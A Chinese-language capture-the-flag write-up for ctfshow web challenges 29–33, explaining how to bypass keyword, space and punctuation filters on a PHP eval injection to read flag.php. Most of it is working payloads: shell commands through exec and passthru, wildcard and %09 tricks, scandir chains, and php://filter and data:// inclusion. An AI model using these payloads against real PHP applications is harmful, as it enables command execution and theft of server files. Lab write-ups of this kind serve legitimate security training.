ctfshow web入门 命令执行29-33
1.web29
eval()函数是把所有字符串当作php代码去执行,这题过滤了flag,使用通配符绕过过滤应该要注意文件中没有重名的文件,或一部分是一样的文件
payload:
c=echo%20`nl f''lag.php`; #官方解法,``反引号表示执行系统命令,nl为linux系统命令,是查看文件的意思
c=system("tac flag*"); #通配符*代表匹配所有字符
c=system("tac fla?????"); #?代表匹配一个字符
2.web30
这题过滤了system,php,flag等,虽然不能使用system去执行系统命令,但还有其他函数可以执行系统命令,如:exec、popen、passthru、shell_exec
payload:
c=echo `nl f''lag.php`;
c=echo exec("nl%20fla*"); #需要echo输出
c=echo shell_exec("nl%20fla*"); #需要echo输出
?c=passthru("nl%20fla*");
3.web31
这题过滤了system,php,flag,点,空格,单引号等
绕过空格的方法,常见:url编码:%09,%0a,%0b,<>,$IFS$9,可以使用burpsuite抓包从%00~%ff之间进行fuzz测试
第一个为官方解法
第二个类似
第三个,第四个通过传参的形式绕过过滤,第四个使用了文件包含伪协议
第五个利用括号和%09绕过空格
第一个解释:
show_source,highlight_file高亮显示文件,next是下一个元素。array_reverse是反向输出,pos是输出当前元素的值,localeconv是返回包含本地数字及货币格式信息的数组,scandir是列出指定路径的文件和目录,dirname是去掉文件名后的目录名,__FILE__表示当前文件的绝对路径
使用第一个时,首先查看目录下但前有哪些文件
c=print_r(scandir(dirname(__FILE__)));
利用array_reverse,next函数使当前目录只有flag.php
c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
最后读取该目录下的文件源码
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
payload:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
c=eval($_GET[1]);&1=system('nl flag.php');
c=include($_GET[1])?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=echo(`nl%09fla?????`);
4.web32
这题又过滤了反引号,括号和分号
include可以不用括号,?>可以代替;
第一条是利用文件包含的php伪协议的php
第二条是利用文件包含的php伪协议的data
第三个官方解法,一样的思路
三个解法都是通过传参的方式绕过过滤的
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
5.web33
和web32一样
第三个为官方解法
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
参考文章: